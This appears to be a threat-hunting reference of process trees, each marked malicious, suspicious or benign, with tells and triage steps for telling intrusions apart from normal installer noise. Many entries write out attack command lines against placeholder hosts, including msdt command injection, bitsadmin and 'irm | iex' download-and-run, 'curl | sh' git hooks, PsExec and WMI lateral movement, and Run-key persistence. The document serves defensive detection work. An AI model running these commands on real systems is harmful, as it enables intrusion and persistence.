malicious initial access windows
WINWORD.EXE "<lure>.docx"
└─ msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+...+'<base64>'...))))i/../../../../../../Windows/System32/mpsigstub.exe"
svchost.exe -k DcomLaunch
└─ sdiagnhost.exe
└─ powershell.exe / cmd.exe /c <payload>
Tells
- Word never legitimately launches
msdt.exe.
ms-msdt: with IT_BrowseForFile=$(...) is command injection into the troubleshooter, no macro needed.- The document only references a remote HTML template: macro-blocking does not stop it.
Next
- Decode the base64 inside the msdt arguments; it is the actual payload.
- Check
sdiagnhost.exe children around the same second.
- Pull the docx relationships (
word/_rels/document.xml.rels) for the external template URL.
malicious initial access windows
explorer.exe
└─ WINWORD.EXE "<Downloads>\<lure>.docx"
└─ C:\Windows\SysWOW64\rundll32.exe (outbound TCP 80 to <ip>)
└─ cmd.exe /c whoami
Tells
WINWORD.EXE as the direct parent of rundll32.exe has no legitimate workflow.rundll32 with no DLL argument, or making HTTP connections itself, is a beacon host.whoami from that rundll32 a few minutes later means an operator is on the box.
Next
- Pull network events for the rundll32 PID and block the destination.
- Look for later rundll32 instances at High integrity or under a different account (privilege change).
- Find the document source: Office Recent LNKs, browser downloads, Zone.Identifier.
malicious execution windows
explorer.exe
└─ wscript.exe "<Downloads>\<invoice-like>.js"
└─ powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\<dir>\<random>_<timestamp>.ps1"
│ (or: powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command <cradle>)
└─ C:\Users\Public\<dir>\swchost.exe | %TEMP%\<guid>.exe
Tells
wscript.exe executing a .js from Downloads or an email attachment is user-clicked script.- PowerShell child with
-ExecutionPolicy Bypass and a randomly named script in C:\Users\Public.
- Final EXE with a near-miss system name (
swchost.exe) or a GUID name in %TEMP%.
Next
- Grab the .js and the .ps1 from disk or 4104 script blocks to get the download URLs.
- Look for image or .txt downloads that turn into PEs (steganography or base64 carriers).
- Check the final EXE for RAT config (Quasar/AsyncRAT) and its C2.
suspicious lolbin windows
powershell.exe
└─ cmd.exe /c bitsadmin /transfer <job> /download /priority normal "https://<host>/<path>/<name>.ps1" "C:\Windows\Temp\<name>.ps1"
Tells
bitsadmin /transfer or /addfile with an external URL.- Destination in
C:\Windows\Temp or a user folder with a module-like name.
- Parent is PowerShell or a script host, not a software deployment agent.
Next
- Baseline legit parents first (some updaters use BITS).
- Grab the downloaded file and check BITS job history (
Microsoft-Windows-Bits-Client/Operational).
- Look at what runs the file next.
suspicious defense evasion windows
<parent: explorer.exe (Run key) / scheduled task / wscript.exe>
└─ conhost.exe --headless powershell.exe -c "<command>"
└─ powershell.exe -c "<command>"
Tells
conhost.exe as a launcher with --headless runs a console program with no window.- Normal conhost runs as a child of console apps with
0xffffffff -ForceV1, never with a command after it.
- Seen in ClickFix and persistence chains to hide PowerShell.
Next
- Judge the grandchild command as you would any hidden PowerShell.
- Check what launched conhost (Run key, task, script).
suspicious execution windows
Discord.exe / slack.exe / <electron app>.exe
└─ cmd.exe /c powershell -w hidden -enc <base64>
└─ <random>.exe from AppData\Local\Temp
(file write) <app>\resources\app.asar or ...\discord_desktop_core\index.js modified
Tells
- Electron apps normally spawn copies of themselves (
--type=renderer, --type=gpu-process, --type=utility), their updater (Update.exe) and crash handlers.
- A shell, script host or exe from Temp under them means either a malicious lure link/file or tampered app code (Discord injection stealers modify
index.js).
- Check the app’s own path: a fake Electron app running from
Downloads or AppData\Local\Temp is just malware with Electron inside.
Next
- Check file modifications to the app’s
resources / app.asar / index.js around the time.
- Check what the child did (download, credential access) and whether the app is in its normal install path and signed.
suspicious defense evasion windows
<parent: cmd.exe / wscript.exe>
└─ expand.exe \\<ip>\<share>\<file>.cab C:\Users\<user>\AppData\Local\Temp\<random>.exe
└─ extrac32.exe /Y /C \\<ip>\<share>\<file> C:\Users\Public\<random>.exe
└─ (next) <random>.exe
Tells
- Both copy and extract CAB files, and can copy from a remote UNC path, so they double as a downloader.
- Remote UNC source (WebDAV or SMB to an external IP) and output to a user path.
- Legit use comes from installers and Windows servicing, not from script hosts.
Next
- Pull the source path and hash the output.
- Check outbound SMB/WebDAV to that host.
suspicious defense evasion windows
<parent: cmd.exe / wscript.exe / mshta.exe>
└─ explorer.exe /root,"C:\Users\<user>\AppData\Local\Temp\<random>.exe"
(new explorer instance)
└─ <random>.exe
Tells
explorer.exe launched by a script host or shell with /root, and an exe path. Breaks the parent chain so the payload looks like a normal user launch.- A second
explorer.exe with a non-userinit parent.
Next
- Look at the payload exe: path, signer, prevalence.
- Walk up to the real launcher.
suspicious defense evasion windows
<parent: cmd.exe / wscript.exe / scheduled task>
└─ forfiles.exe /p C:\Windows\System32 /m notepad.exe /c "cmd /c <command>"
└─ cmd.exe /c <command>
--- or ---
└─ pcalua.exe -a C:\Users\<user>\AppData\Local\Temp\<random>.exe
└─ <random>.exe
Tells
- Both exist to break the parent-child chain so detections keyed on
cmd/powershell parents miss it.
forfiles matching a single known file (/m notepad.exe) just to run /c = not a real file sweep.pcalua -a (Program Compatibility Assistant) running something from a user path.
Next
- Look at what ran under it, judged as if the grandparent spawned it directly.
- Walk up to the original delivery.
suspicious lolbin windows
<parent: cmd.exe / wscript.exe>
└─ ftp.exe -i -s:C:\Users\<user>\AppData\Local\Temp\<random>.txt
└─ cmd.exe /c <command> (from "!" lines in the script)
└─ (network) <ip>:21
Tells
-s: runs a script of FTP commands; !<command> lines run local commands, so ftp becomes a parent of cmd.- Windows ftp.exe talking to an external IP from a script host is almost never business use.
Next
- Read the script file contents if captured.
- Check outbound FTP sessions and what was downloaded or uploaded.
suspicious execution windows
<terminal / IDE>
└─ git.exe commit / checkout / pull
└─ sh.exe .git/hooks/post-checkout (Git for Windows)
└─ curl.exe -s http://<ip>/<path> | sh
└─ powershell.exe -enc <base64>
Tells
- Hooks (
pre-commit, post-checkout, post-merge) are normal in projects using tools like husky or pre-commit; they run linters and tests.
- Look at what the hook runs: local linters = fine; downloads, encoded commands, credential file reads = malicious repo or tampered hook.
- Recently cloned repos from unknown sources (fake job interview “take-home test” repos are a known lure).
Next
- Read the hook file and the repo’s origin URL.
- Check what the child downloaded or ran; treat developer secrets as exposed if it did.
suspicious execution windows
<terminal / explorer.exe (Run dialog)>
└─ powershell.exe -c "irm https://<domain>/install.ps1 | iex"
└─ (downloads) <tool>.zip → %USERPROFILE%\<tool>\ ; PATH updated
Tells
- Some real tools ship exactly this way (scoop, some CLI installers), so the shape alone is not a verdict. The domain is.
- Legit: the vendor’s documented domain, a developer typing in a terminal, files land in a named tool folder.
- Malicious: launched from the Run dialog (ClickFix),
-w hidden, fresh or lookalike domain, raw IP, or the script drops an exe in Temp and runs it.
Next
- Check the domain age and whether it matches the tool’s official install docs.
- Check the parent:
explorer.exe with RunMRU evidence = ClickFix tree.
- See what the script wrote and executed.
suspicious execution windows
explorer.exe (user double-clicks <name>.jar)
└─ javaw.exe -jar C:\Users\<user>\Downloads\<name>.jar
└─ cmd.exe /c <command> / powershell.exe ...
└─ (network) <ip>:<port>
Tells
- JAR RATs (STRRAT, Adwind style) and “game mod”/“cracked tool” lures arrive as
.jar in Downloads or mail.
javaw.exe (no console) launching shells, adding Run keys or holding a long outbound connection.- Legit Java apps run from
Program Files or a project folder, from a dev’s IDE or a launcher.
Next
- Get the JAR origin and hash; check prevalence.
- Check persistence (Run keys or tasks pointing at
javaw -jar).
suspicious persistence macos
<installer / script / dropped binary>
└─ (file write) ~/Library/LaunchAgents/com.<apple-like>.<random>.plist
└─ launchctl load -w ~/Library/LaunchAgents/com.<apple-like>.<random>.plist
--- next login ---
launchd
└─ ~/Library/Application Support/<random>/<binary> (or /Users/Shared/<random>, /tmp)
Tells
- New plist with
RunAtLoad/KeepAlive pointing at a binary in /tmp, /Users/Shared, a hidden folder, or a script interpreter (bash, python, osascript) with arguments.
- Names imitating Apple or Google (
com.apple.<random>) written by a non-installer process.
- Legit agents point at signed apps in
/Applications or vendor folders.
Next
- Read the plist (ProgramArguments) and check the target’s signature (
codesign -dv).
- Find what wrote the plist and when.
suspicious initial access windows
olk.exe / OUTLOOK.EXE
└─ chrome.exe | msedge.exe | firefox.exe --single-argument http://<ip>:<port>/<lure>.(rar|php|tiff.exe)
explorer.exe / OpenWith.exe
└─ wscript.exe "<Downloads>\<lure>.vbs|.js" (user double-clicks what the browser saved)
Tells
- A browser launched by the mail client with a bare IP and odd port on the command line.
- New Outlook (
olk.exe) renders its own UI in WebView2: ignore msedgewebview2.exe, look for the real browser child.
- A script file or double-extension EXE written to Downloads seconds later.
Next
- Pull the email (sender, other recipients) and block the URL/IP at the proxy.
- Check browser download history and Sysmon 11 in Downloads for what was saved.
- Follow
wscript.exe / archive tool children for the next stage.
suspicious execution windows
node.exe <app>\index.js
└─ powershell.exe -c "iex (irm http://<ip>/<path>)"
└─ <child of the downloaded script>
Tells
iex/Invoke-Expression with irm/iwr/Net.WebClient = download and run in memory.- Node.js apps (dev tools, Electron apps, npm install scripts) are a supply-chain path: a malicious package’s
postinstall runs exactly like this.
- Legit Node tooling spawning PowerShell usually runs a local script path, not a URL.
Next
- Find which
.js file, or which npm package’s install script, made the call (the parent command line and working directory).
- Fetch the URL’s content from the telemetry, never live from the host, and check what it ran.
- Benign-check: is this a known dev tool (VS Code extension host, a build script) on a developer machine?
suspicious defense evasion windows
<parent: explorer.exe / browser / cmd.exe>
└─ PresentationHost.exe C:\Users\<user>\AppData\Local\Temp\<random>.xbap
└─ cmd.exe / powershell.exe / (network) <ip>
Tells
- XBAP (.NET browser apps) is effectively dead. A signed Microsoft binary running one from a user path is proxy execution.
- Any child shell or outbound connection from PresentationHost is a tell.
Next
- Pull the
.xbap and its manifest; check where it came from.
- Look at the child process and network events.
suspicious lateral movement windows
source: PsExec64.exe \\<ip> -u <domain>\<user> -p <password> cmd
target:
services.exe
└─ C:\Windows\PSEXESVC.exe
└─ cmd.exe (pipes \PSEXESVC-<SOURCEHOST>-<n>-stdin|stdout|stderr)
Tells
PSEXESVC.exe created in C:\Windows by System and installed as a service (7045).- Key file / pipe names carry the source hostname.
- Password on the source command line; run against several hosts in a short window.
Next
- Confirm it is not a sanctioned admin: who, from where, in a change window?
- Read the source hostname from the pipe/key names and investigate that host.
- Check what ran under PSEXESVC on each target.
suspicious defense evasion windows
<parent: wscript.exe / explorer.exe (Run key) / scheduled task>
└─ C:\Users\<user>\AppData\Local\Temp\<random>\python.exe <random>.py
--- or ---
└─ C:\Users\Public\<folder>\pythonw.exe C:\Users\Public\<folder>\<random>.pyc
Tells
- A Python runtime unpacked into
Temp, Public or AppData\Roaming\<random> (portable/embeddable zip). Real installs live in Program Files, AppData\Local\Programs\Python or conda paths.
pythonw.exe (no window) launched from a Run key or task, with .pyc or oddly named scripts.- Python-based stealers and RATs ship exactly this way.
Next
- Check how the folder got there (archive, script, MSI) and what the script does (network, file reads).
- Look for persistence pointing at that python path.
suspicious persistence windows
<parent: cmd.exe / powershell.exe / <random>.exe>
└─ reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "<name>" /t REG_SZ /d "C:\Users\<user>\AppData\Roaming\<random>.exe" /f
--- next logon ---
explorer.exe
└─ <random>.exe
Tells
- Value data pointing at user paths, script hosts,
mshta/rundll32 with odd arguments, or encoded PowerShell.
reg.exe invoked by a script or freshly dropped exe, not by an installer.- Legit apps (Teams, OneDrive, Spotify) also write Run keys, but from their own installer with a
Program Files or signed AppData\Local\<vendor> path.
Next
- Read the value data and hash the target.
- Check signer and prevalence of the target binary.
- Find what created the key.
suspicious persistence windows
svchost.exe -k netsvcs -p -s Schedule
└─ wscript.exe C:\Users\<user>\AppData\Roaming\<random>\<random>.js
└─ powershell.exe -w hidden -enc <base64>
└─ C:\ProgramData\<random>\<random>.exe
Tells
- Task-launched children with user-path scripts, encoded PowerShell, or exes in
ProgramData/AppData.
- Task name impersonating Windows or an updater; created recently by a non-installer process.
Next
- Find the task (XML under
C:\Windows\System32\Tasks) and who created it (event 4698).
- Remove persistence only after scoping what the payload does.
suspicious execution windows
<parent: cmd.exe / powershell.exe>
└─ wmic.exe /node:<ip> /user:<user> process call create "cmd.exe /c <command>"
(on target host)
WmiPrvSE.exe
└─ cmd.exe /c <command>
Tells
process call create spawns a process via WMI; with /node: it is remote execution (lateral movement).- On the target, the child’s parent is
WmiPrvSE.exe, not the user’s shell.
- Admins rarely use
wmic interactively now (deprecated); combined with /node: and shell commands it is attacker tradecraft.
Next
- On the source host: who ran it and which targets (
/node:) were hit?
- On each target: what did
WmiPrvSE.exe spawn and did it drop files?
- Check logons for that account (type 3) across the targets.
suspicious lateral movement windows
svchost.exe -k DcomLaunch
└─ WmiPrvSE.exe -secured -Embedding
└─ powershell.exe -nop -w hidden -enc <base64>
└─ cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<timestamp> 2>&1 (wmiexec style)
Tells
WmiPrvSE children are WMI-launched processes, often remote. cmd.exe /Q /c ... \\127.0.0.1\ADMIN$\__<number> is Impacket wmiexec.- Encoded/hidden PowerShell under WmiPrvSE is attacker-style; config management (SCCM, monitoring) usually runs signed agents or known scripts.
- Look for a type 3 network logon from another internal host just before.
Next
- Find the source host and account (logon events around the process start).
- Check that account’s activity on other hosts.
- Confirm or rule out known management tools in the estate.
suspicious lateral movement windows
svchost.exe -k DcomLaunch
└─ wsmprovhost.exe -Embedding
├─ (in-process) Invoke-ShareFinder / Get-ADComputer ... (4104)
└─ <tool>.exe
Tells
- Remoting session from a host that is not an admin jump box.
- Recon cmdlets (
Invoke-ShareFinder, PowerView) in 4104 under wsmprovhost.
- Account that just logged in over RDP to a DC with harvested credentials.
Next
- Get the source host from WinRM operational logs / 4624 type 3.
- Pull the 4104 script blocks for the whole session.
- Check the account for other interactive sessions in the window.
benign benign noise windows
<admin terminal / RMM agent>
└─ choco.exe install <pkg> -y
└─ powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& '<choco>\lib\<pkg>\tools\chocolateyInstall.ps1'"
└─ <vendor installer>.exe /S
winget.exe install <Publisher.App>
└─ <vendor installer>.exe /silent (from %TEMP%\WinGet\<pkg>\)
Tells
- Package manager parent, installer pulled from the vendor or the package source, signed vendor binaries.
-ExecutionPolicy Bypass on chocolateyInstall.ps1 is normal for choco.- Same packages across many hosts = IT rollout.
Next
- Confirm the package name and the installer signer.
- If a “package” installer drops unsigned binaries to AppData and adds a Run key, treat it as the fake installer tree.
benign benign noise windows
svchost.exe -k netsvcs -p -s Schedule
└─ C:\Windows\system32\compattelrunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun
├─ conhost.exe
└─ compattelrunner.exe -m:<module>.dll -f:<function> ...
Tells
- Looks bad: SYSTEM process doing broad inventory of files and installed software.
- Normal telemetry/upgrade-readiness task.
Next
- Benign-check: System32 path, Microsoft signer, scheduled task parent.
- Escalate only if launched by a user process or from another path.
benign benign noise windows
svchost.exe -k netsvcs -p -s Schedule
└─ "C:\ProgramData\Microsoft\Windows Defender\Platform\<ver>\MpCmdRun.exe" -IdleTask -TaskName WdCacheMaintenance
MsMpEng.exe
└─ MpCmdRun.exe SignaturesUpdateService -ScheduleJob -UnmanagedUpdate
svchost.exe
└─ MpCmdRun.exe Scan -ScheduleJob -ScanTrigger 55
Tells
- Looks bad: Defender tooling running on its own at odd hours.
- Normal tasks: cache maintenance, signature updates, scheduled scans.
Next
- Benign-check: path under the Defender Platform folder, signer, known task names.
- Escalate on
-RemoveDefinitions -All, -DisableService-like arguments, or a non-Defender parent.
benign benign noise windows
svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler
└─ "C:\Program Files (x86)\Google\Update\Install\{<guid>}\<version>_chrome_installer.exe" --system-level ...
svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
Tells
- Looks bad: scheduled task spawning an EXE from a GUID folder.
- Normal when signed by Google/Microsoft and running from Program Files (x86).
Next
- Benign-check: signer, path, and parent is the Schedule service.
- Escalate if
GoogleUpdate.exe runs from a user profile or Downloads, or under a normal user it should not (see the masquerade tree).
benign benign noise macos
Terminal / iTerm2
└─ zsh
└─ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
└─ brew install <formula>
└─ curl ... ghcr.io / formulae.brew.sh
└─ git, tar, ruby (brew's portable ruby) under /opt/homebrew or /usr/local
Tells
- Interactive Terminal session, official Homebrew URLs, files in
/opt/homebrew (Apple silicon) or /usr/local.
- Bottles come from
ghcr.io; brew runs its own ruby, git and tar a lot. That is normal.
- Watch for lookalike “Homebrew” sites from search ads that change the URL to an attacker domain.
Next
- Confirm the URL is the official one.
- If
osascript prompts for a password or a binary in /tmp runs right after, use the macOS stealer trees.
benign benign noise windows
<admin terminal>
└─ powershell.exe / pwsh.exe
└─ (in session) Install-Module <Module> -Scope CurrentUser
(network) → www.powershellgallery.com / psg-prod-*.azureedge.net
(file writes) Documents\PowerShell\Modules\<Module>\<ver>\
Tells
- Interactive admin or dev, a named module (Az, Microsoft.Graph, PSWindowsUpdate), gallery domains only.
- Files land under the user or system
Modules folder, signed module files.
- Contrast:
iex (iwr <url>) pulls arbitrary code from anywhere with no module packaging.
Next
- Confirm the module name is well known and spelled correctly.
- If the module then spawns downloads or reaches non-gallery domains, investigate the module.
benign benign noise windows
<terminal / Anaconda Navigator>
└─ jupyter-lab.exe / python.exe -m jupyter lab
└─ python.exe -m ipykernel_launcher -f <runtime>\kernel-<id>.json
└─ (notebook cells) cmd.exe /c pip install <package> / git clone ...
conda.exe install <package>
└─ python.exe ...\conda\... ; post-link .bat scripts in <env>\Scripts
Tells
ipykernel_launcher with a kernel-<id>.json is the standard Jupyter kernel; children are whatever the analyst runs in cells.- Conda runs post-link
.bat/.sh scripts from inside the env; network goes to anaconda/conda-forge mirrors.
- Data science users, localhost listeners on 8888, conda paths under
anaconda3/miniconda3.
Next
- Confirm the user is a data/dev user and the notebook server listens on localhost only.
- If a kernel spawns encoded PowerShell or reaches odd IPs, judge it as the python -c tree.
benign benign noise windows
<deployment agent: ccmexec.exe / IntuneManagementExtension.exe / <RMM agent>.exe / explorer.exe (user double-click)>
└─ msiexec.exe /i "C:\Windows\ccmcache\<id>\<product>.msi" /qn
└─ MsiExec.exe -Embedding <guid>
└─ <vendor installer helper, signed>
Tells
- Local MSI in a deployment cache path, launched by the org’s management agent.
- Signed product, same install seen across many hosts in a short window (a rollout).
- Custom-action children are signed vendor binaries, not shells with URLs or encoded blobs.
Next
- Confirm the parent agent is the org’s known tool and the MSI is signed and prevalent.
- If it was user-initiated, check where the MSI came from (browser download, Zone.Identifier).
benign benign noise windows
services.exe
└─ msiexec.exe /V
└─ MsiExec.exe -Embedding <hex> E Global
├─ cmd.exe /c <vendor script>
└─ rundll32.exe C:\Windows\Installer\MSI<hex>.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_<n> ...
Tells
- Looks bad: msiexec children running rundll32 on a
.tmp from C:\Windows\Installer.
- Normal for managed custom actions during installs, repairs and patching.
Next
- Benign-check: the product being installed (Application log 1033/11707), software deployment schedule, signer of the MSI.
- Escalate if the MSI came from a user download or a remote/WebDAV path, or custom actions reach the internet.
benign benign noise windows
<terminal / IDE>
└─ npm.cmd install
└─ cmd.exe /d /s /c node-gyp rebuild (or prebuild-install || node-gyp rebuild)
└─ node.exe ...\node-gyp\bin\node-gyp.js rebuild
└─ python.exe ...\gyp_main.py ...
└─ MSBuild.exe <pkg>\build\binding.sln /p:Configuration=Release
└─ CL.exe / link.exe (Visual Studio Build Tools)
Tells
- Children are build tools (
python running gyp, MSBuild on binding.sln, cl.exe, link.exe) working inside node_modules\<pkg>\build.
- Network, if any, goes to the npm registry, GitHub releases or nodejs.org to fetch headers or prebuilt binaries.
- Developer machine, signed Microsoft/Node binaries, same pattern on many dev hosts.
Next
- Confirm the working directory is inside
node_modules and the package is a known native module (bcrypt, sqlite3, sharp etc).
- If a build step also spawns
powershell with a URL or writes an exe to Temp, switch to the postinstall tree.
benign benign noise windows
<terminal / IDE>
└─ npx.cmd <known-cli> <args> (create-react-app, prisma, tsc, eslint)
└─ node.exe ...\npm-cache\_npx\<hash>\node_modules\<known-cli>\bin\<cli>.js <args>
└─ git.exe init / node.exe <project>\... (local work)
Tells
npx downloads into npm-cache\_npx\<hash> and runs the package bin; that cache path is normal.- Known package names, developer user, local children (git, node, build tools).
- Watch for typos in the package name (
npx crate-react-app) and for children that reach odd domains.
Next
- Confirm the package name is spelled correctly and widely used.
- If the child goes to the network for anything other than the registry, treat it as the postinstall tree.
benign benign noise windows
svchost.exe -k netsvcs -p -s Schedule
└─ C:\Users\<user>\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe /reporting
explorer.exe
└─ C:\Users\<user>\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background
└─ FileCoAuth.exe -Embedding
Tells
- Looks bad: per-user EXEs from AppData on a schedule.
- OneDrive is a per-user install by design.
Next
- Benign-check: Microsoft signature, path under
AppData\Local\Microsoft\OneDrive.
- Escalate if a
OneDrive.exe loads an unsigned DLL from its folder (known side-loading target) or runs from elsewhere.
benign benign noise windows
<terminal / IDE>
└─ python.exe -m pip install <package>
└─ python.exe ...\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py build_wheel <tmp>
└─ cmake.exe ... / ninja.exe
└─ cl.exe / link.exe (or gcc / g++ on Linux)
Tells
- Compilers, cmake, ninja and linkers working inside a
pip-* temp build folder.
- Network goes to PyPI (
files.pythonhosted.org), the org’s package mirror, or GitHub for sources.
- Dev or data science user, signed toolchain, common package names.
Next
- Confirm the package and that children stay in the build folder.
- Any shell with a URL or encoded command switches this to the setup.py tree.
benign benign noise windows
explorer.exe / control.exe / svchost.exe
└─ rundll32.exe shell32.dll,Control_RunDLL <applet>.cpl
└─ rundll32.exe C:\Windows\system32\<signed>.dll,<documented export>
└─ rundll32.exe "C:\Program Files\<vendor>\<vendor>.dll",<export>
Tells
- Signed DLL in
System32, SysWOW64 or Program Files, launched by explorer, control.exe, svchost or an installed app.
- Common legit exports:
Control_RunDLL, PrintUIEntry, ImageView_Fullscreen, LockWorkStation, ProcessIdleTasks.
- No child shells, no outbound connection to raw IPs.
Next
- Confirm the DLL signer and that it is widely seen across the fleet.
- If prevalence is low or the signer is missing, treat it as the user-path DLL tree instead.
benign benign noise windows
services.exe
└─ CcmExec.exe
└─ powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\CCM\ScriptStore\<hash>.ps1"
(also: C:\Windows\CCM\SystemTemp\<guid>.ps1, compliance baselines, app detection scripts)
Tells
- Looks bad: SYSTEM PowerShell with
-ExecutionPolicy Bypass.
- It is normal when the parent is
CcmExec.exe from C:\Windows\CCM\ and the script lives in ScriptStore/SystemTemp.
Next
- Benign-check: signed
CcmExec.exe, script path under C:\Windows\CCM, same script hash on many hosts.
- Escalate only if the script content downloads from the internet or the CCM path is spoofed.
benign benign noise windows
svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler
└─ "C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe"
└─ C:\Windows\System32\<signed maintenance tool>.exe
└─ powershell.exe -NonInteractive -File "C:\Program Files\<vendor>\<script>.ps1"
Tells
- Signed vendor or Microsoft binaries in
Program Files / System32, seen on many hosts.
- PowerShell running a
-File from Program Files or a management folder, not -enc or a URL.
- Note: per-user installs (OneDrive, Teams, Zoom) legitimately live in
AppData\Local\<vendor> and are signed.
Next
- Confirm signer and prevalence; check the task was created by an installer.
benign benign noise windows
explorer.exe
└─ C:\Users\<user>\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--profile=AAD"
└─ C:\Users\<user>\AppData\Local\Microsoft\Teams\current\Teams.exe
Tells
- Looks bad: unsigned-looking
Update.exe in AppData launching another EXE.
- Squirrel installers (classic Teams, Slack, Discord, GitHub Desktop) all work this way.
Next
- Benign-check: signer is Microsoft/vendor, path matches the product,
--processStart names the product EXE.
- Escalate if
Update.exe lives in an unrelated folder or launches a script host or shell.
benign benign noise windows
Code.exe
├─ Code.exe --type=utility --utility-sub-type=node.mojom.NodeService ... (extension host)
│ └─ <extension>.exe / node.exe <extension script>
├─ git.exe ...
└─ powershell.exe -NoLogo -NoProfile ... (integrated terminal, shell integration script)
Tells
- Looks bad: an Electron app spawning PowerShell and node.
- Normal on developer machines: terminals, language servers, git.
Next
- Benign-check: visible terminal session, local script paths, no URL in the command line, dev machine.
- Escalate on hidden PowerShell with
IEX/downloadstring, or cmd.exe with a raw socket (see the VS Code malicious tree).
benign benign noise windows
services.exe
└─ C:\Windows\servicing\TrustedInstaller.exe
svchost.exe -k DcomLaunch
└─ C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_<ver>\TiWorker.exe -Embedding
├─ poqexec.exe /display_progress \SystemRoot\WinSxS\pending.xml
└─ mscorsvw.exe / ngen.exe ...
Tells
- Looks bad: high CPU, executables running out of a long WinSxS path.
- Normal during patching and component store cleanup.
Next
- Benign-check: signed, WinSxS path, CBS.log activity at the same time.
- Escalate on a
TrustedInstaller.exe/TiWorker.exe outside those folders (masquerade).
No tree matches. Add it to the vault's MDR/trees/ once you've worked it out.